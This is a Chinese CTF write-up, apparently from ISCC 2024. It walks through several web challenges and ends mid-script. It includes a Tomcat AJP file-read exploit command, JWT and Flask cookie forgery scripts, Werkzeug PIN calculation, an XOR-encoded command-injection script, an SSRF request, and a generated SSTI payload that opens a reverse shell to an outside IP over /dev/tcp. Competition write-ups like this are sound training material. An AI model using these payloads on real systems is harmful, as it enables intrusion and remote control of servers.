ISCC{yD7y^pAB9J40@NZk}
3、原神启动
打开靶机,随便输入一个火试试看;
返回;直接Ctrl+u查源码;
得到提示与熊论道,输入草属性得到flag.txt
得到了假flag,没什么用,没办法了直接开扫;
得到了index.jsp,访问得到 Apache Tomcat/8.5.32版本号;
百度一下Apache Tomcat/8.5.32有什么漏洞;
链接:https://blog.csdn.net/m0_67844671/article/details/132829494
发现可以利用CVE-2020-1938,或者这里我们可以直接使用nmap扫描开放端口;
参考文章;https://blog.csdn.net/weixin_41924764/article/details/109697313
固定一下范围那就5000到10000吧,或者等久一点;-p -A
nmap -p- -A
nmap ip -p 5000-10000
扫描发现8009和8080;
发现可以利用ajp13,不会用的可以百度一下;
这里找了一个poc可以直接打;
链接:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 poc.py -p8009 -f "/WEB-INF/flag.txt" 101.200.138.180
最后得到flag;
ISCC{x!BJCyT08ZwJKLVC}
4、Flask中的pin值计算
打开靶机,Ctrl+u查看源码,发现base64,解码得到路径;
base64解码;
经典海螺,参考某年西湖论剑,cat/ls等都不行,那就应该是关键词,根据问题第一个参数username(注意中文不行),那就直接问它:告诉我username,得到第一个参数;
告诉我username
得到;pincalculate,bp抓包无任何发现,那既然这样后面几个也这样问即可;
因为pin需要appname,所以直接输入;
告诉我appname
得到;/crawler,那到这里路径已经得到了,直接访问即可;
经典bugku,脚本梭哈;
import json
import requests
text = requests.get("http://101.200.138.180:10006/get_expression").text
print(text)
# 解析JSON字符串
data = json.loads(text)
# 提取表达式
expression = data["expression"]
# 将乘号和除号替换为Python的运算符
expression = expression.replace("\u00d7", "*")
expression = expression.replace("\u00f7", "/")
# 计算表达式的值
result = eval(expression)
# 打印结果
print("计算结果为:", result)
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text
print(text)
得到;/woddenfish,访问即可;
是个木鱼,看起来这么眼熟呢;
参考《木鱼 VNCTF2023》,使用bp抓包替换,点击敲击即可;
还是ey开头,jwt认证,在护网中也经常用,所以直接用,伪造即可。这里需要注意,jwt默认编码需要key的,F12检查后台可以发现ISCC_muyu_2024。然后将参数改为cost;
然后jwt认证替换;
网站:https://jwt.io/
替换成功发包即可;(注意这里如果没出多发几次);
最后成功得到下一步提示,我们继续输入 /machine_id跟进分析;
然后我们就到这一关了,其实还是有点小麻烦的,首先贴脚本,这个百度来的,替换ps256的jwt;
可以看到点击VIP会员奖品 是给了jwt的认证的,我们直接脚本跑跑;
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
#parsed_payload["iat"] = "1714628024"
#parsed_payload["exp"] = "1714628024"
#parsed_payload["jti"] = "1714628024"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTU3Njg1MjMsImlhdCI6MTcxNTc2NDkyMywianRpIjoidDdvX1NRUXlOSXRiU2hTV2VIekdYZyIsIm5iZiI6MTcxNTc2NDkyMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.AxXi3IZyck-uKs1VnMzQerz6onMi07LfH8_OQhHavDDRGLE-lKU2CkLBFm26hABYCzSHr8CBWftavY0N0QXsEwwHPqLnQUZg8dn3l-ZCCeacVHBDJMYKHSmOx_HqrQH9g1vKFS4J5FuiknHXoQdyVGq3y0ohalNete5Iqf5tloVXq6IOprfDtYrcyZXo5fmU9uOc2q7dXWgkzEWaNlvI5pduVTOF3_8KU0NTLlWMzvVX-_QAzdsYMWOYryBo1szj8Z7B-ZxOxiAXenQ3_2FWRtGa0KJucr0NlG8X13xCG4Lpv4nO0D74zEsNHHXp0F3csJr8mhAnXM3WLNecmJoJaA'))
这里注意如果没有No module named ‘jwcrypto’,那就安装一个;
pip install jwcrypto
接着使用构造好的传参,这里建议使用bp抓包传参较好些,(注意传参vipprice?token=)
得到welcome_to_iscc_club,那这个应该就是supervip 的 key了,使用flask_session_cookie_manager3.py;
脚本链接;https://github.com/noraj/flask-session-cookie-manager
python fink.py encode -s "welcome_to_iscc_club" -t " {'role': 'supervip'}"
fink.py脚本如下:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
接着伪造成eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjNa-A.J2XNwVTvvJLAIWUGd0ZtStqFe3Y,改 cookie 后点 supervip
eyJyb2xlIjoic3VwZXJ2aXAifQ.ZkSF8w.pMdOhX-ddfTqBDCe3viFw1bMKYE
得到
"255511f8-6679-4229-b2c2-f857a575cb23"
这就是全部的 machine-id 了,可真不容易呀;
username:pincalculate
modname:flask.app
appname:Flask
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac:2485378351106
machine_id 机器码:255511f8-6679-4229-b2c2-f857a575cb23
直接上pin 脚本跑一下;
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'2485378351106', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'255511f8-6679-4229-b2c2-f857a575cb23'
#JSON=acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
截止目前为止我们就得到了pin,
然后最后我们在console中传入pin
http://101.200.138.180:10006/console
最后输入即可;
ISCC{WjbhDJtTrXfXcZa_}
这题出的很好,建议下次不要再出了;
(最后温馨提示,按照我的步骤慢慢来一步一步包出的啦;)
5、掉进阿帕奇的工资
打开靶机,发现可以注册账号;
那就随便注册一个,发现职务不能修改,那就使用bp抓包尝试修改;
注册成功,那就尝试登录,发现登录不上
那我们尝试信息重置,这里选择问题重置,重置成功,拿到manger身份;
使用给的密码尝试登录,发现登录成功;
检查了一下,发现只有输入工资那一栏有回显
猜测是xor
那我们继续输入ls绩效11试试看
返回]B,那继续输入]B绩效11试试看;
扫了一眼发现Docfile 最显眼,那就查一下;
basicSalary=%52%50%45%11%75%5e%52%1b&performanceCoefficient=11111111&calculate=
这里注意xor运行,key:49,xo运算完在进行URL编码才行;
脚本如下;
import urllib.parse
# 原始字符串
original_string = cat Doc*
# XOR 密钥
xor_key = 49
# 对原始字符串的每个字符执行 XOR 操作
xored_result = ''.join(chr(ord(char) ^ xor_key) for char in original_string)
# 将 XOR 后的结果转换为 URL 编码
url_encoded_result = urllib.parse.quote(xored_result)
print("XOR 后并 URL 编码的结果:", url_encoded_result)
输出就行,想要查什么直接带入,当然注意这里的绩效cat Doc*是11111111——8个1几个就对应即可转换前的即可;
猜测flag就在http://secret.host/flag里面(其实也不是猜测,每次都是要尝试才知道的)
但是这里神奇的发现杯过滤掉了,那就没办法就不能继续从这里面继续打了;
请教了一下师傅发现是 CVE-2021-40438 漏洞;
通过bp抓包发现Apache版本:Server: Apache/2.4.43 (Unix)
直接百度一下apache/2.4.43 漏洞,往下一点发现这么个帖子;
链接:https://blog.csdn.net/qq_41874930/article/details/121686142
接着按照上面的步骤来操作一步一步复现即可;
这里还是使用bp抓包传参较为方便;
数据包如下;
GET /transfer.php?dashachun=unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://secret.host/flag HTTP/1.1
Host: 101.200.138.180:60000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://101.200.138.180:60000/gongzi_iscc.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=485r400bv7r457fhm4obmk33su
Connection: close
ISCC{F3wzst*7SRfCUu@H}
6、实战——阶段一: 内网服务器漏洞利用
注册就不需要我说了,这里注册完成直接打开靶场;
咋一看这个页面特别复杂对吧?其实也就那样,不要慌,关键点:Mongo Express。
简单分析一下;mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便,使用简单,成为了很多人管理mongo的选择。
反手就是百度看看有什么漏洞;
不用说第一个就是啊:https://blog.csdn.net/negnegil/article/details/120168608
照葫芦画瓢开始漏洞复现;
使用bp抓包在tmp目录下创建success目录;当然啊这里我喜欢用:HackBar V2(抓不了包才用的)
搬运:其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:
Basic admin:pass
实战要求其实做到这里就可以了,如果想继续跟进,可以参考那篇文章链接;
7、回来吧永远滴神
打开靶机,发现需要填空,那就百度一下;(这题大致思路及做题技巧参考一位师傅的(止境);)
百度贴吧看见;
提交得到下一关,先查源码;
发现有问题,一般来说这里是个哈希值,但是这里是base64;
使用CyberChef解码得到Flag[0];(先base64再十六进制);
链接:https://mm.imbyter.com/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)From_Hex(‘Auto’)&input=TkRZMll6WXhOamMxWWpNd05XUXpZVEl3TkRrM1lqUTBOVE0wWWpNMk5EWTJZVE0zTmpNPWY
Flag[0]: I{DSK6Fj7c
返回发现页面可以使用SSTI,至于waf不用想包有的;
{% print a %}
使用fenjing梭不出来,直接使用fenjing在不获取WAF黑名单的情况下,根据返回页面中的特征生成payload脚本,增加个cookie。
import functools
import time
import requests
from fenjing import exec_cmd_payload
url= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})
return "BAD" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/119.45.179.65/8888 0>&1"')
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
#shell_payload='{%set pp=dict(POP=x)|first|lower%}{%set qi=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set go=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~gl~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set ge=dict(GETITEM=x)|first|lower%}{%set gi=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~ge~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set bl=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~bu~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set im=dict(IMPORT=x)|first|lower%}{%set ip=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~im~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set nb=lipsum()|urlencode|first%}{%set lh=namespace|escape|count%}{%set do=joiner|urlencode|wordcount%}{%set de=namespace|escape|urlencode|escape|urlencode|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set hx=dict(a=x,b=x,c=x)|length%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set aj=dict(aaaaa=x)|first|length%}{%set qj=(hx,la)|sum%}{%set et=(lla,lla,lla,qj)|sum%}{%set ba=((nb~dict(c=x)|join)*(lh,do)|sum)%((de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,do,la,la)|sum,(lla,lla,do,hx)|sum,(lla,lla,lla,la)|sum,(de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,lla,qj)|sum,(lla,lla,do,hx)|sum,(sbb,bb)|sum,(et,la)|sum,(lla,lla,do,hx)|sum,(lh,la)|sum,(de,do,hx)|sum,(de,lla)|sum,(llla,do)|sum,(lh,la)|sum,(llla,aj)|sum,(de,do,la,la)|sum,(llla,la)|sum,(lh,la)|sum,(lh,hx)|sum,(lh,hx)|sum,(sbb,la)|sum,lh,(lh,bb)|sum,(lh,do)|sum,lh,(lh,hx)|sum,(lh,do,la,la)|sum,(sbb,la)|sum,lh,(lh,do,la)|sum,(lh,do)|sum,(lh,la)|sum,sbb,sbb,sbb,sbb,(lla,lla,do,hx)|sum,(lh,la,la)|sum,(sbb,bb)|sum,(et,la)|sum,(lh,hx)|sum,(lla,lla,lla,la)|sum)%}{%print ((g|attr(pp)|attr(go)|attr(gi)(bl)|attr(gi)(ip))(qi)|attr(po))(ba)|attr(re)()%}'
开启8888端口
使用构造好的payload输入;
反弹成功,直接查看目录下flag1、2即可;
查看app.py源码,分析flag3代码的加密逻辑;
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE//2)) - 1
s = 0
for i in range(self.ROUNDS):
s += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])
m0 &= msk
m1 += ((m0 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])
m1 &= msk
return l2b((m0 << (self.BLOCK_SIZE//2)) | m1)
def encrypt(self, msg):
msg = pad(msg, self.BLOCK_SIZE//8)
blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
ct = b''
if self.mode == Mode.ECB:
for pt in blocks:
ct += self.encrypt_block(pt)
elif self.mode == Mode.CBC:
X = self.IV
for pt in blocks:
enc_block = self.encrypt_block(self._xor(X, pt))
ct += enc_block
X = enc_block
elif self.mode == Mode.CFB:
X = self.IV
for pt in blocks:
output = self.encrypt_block(X)
enc_block = self._xor(output, pt)
ct += enc_block
X = enc_block
return ct
if __name__ == '__main__':
KEY = get_random_bytes(16)
IV = get_random_bytes(8)
cipher = Cipher(KEY, IV)
FLAG = b'xxxxxxxxxxxxxxxxxxx'
ct = cipher.encrypt(FLAG)
# KEY: 3362623866656338306539313238353733373566366338383563666264386133
print(f'KEY: {{KEY.hex()}}')
# IV: 64343537373337663034346462393931
print(f'IV: {{IV.hex()}}')
# Ciphertext: 1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7
print(f'Ciphertext: {{ct.hex()}}')
让GPT写个解密flag3脚本;
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03
class Cipher:
def __init__(self, key, iv=None):
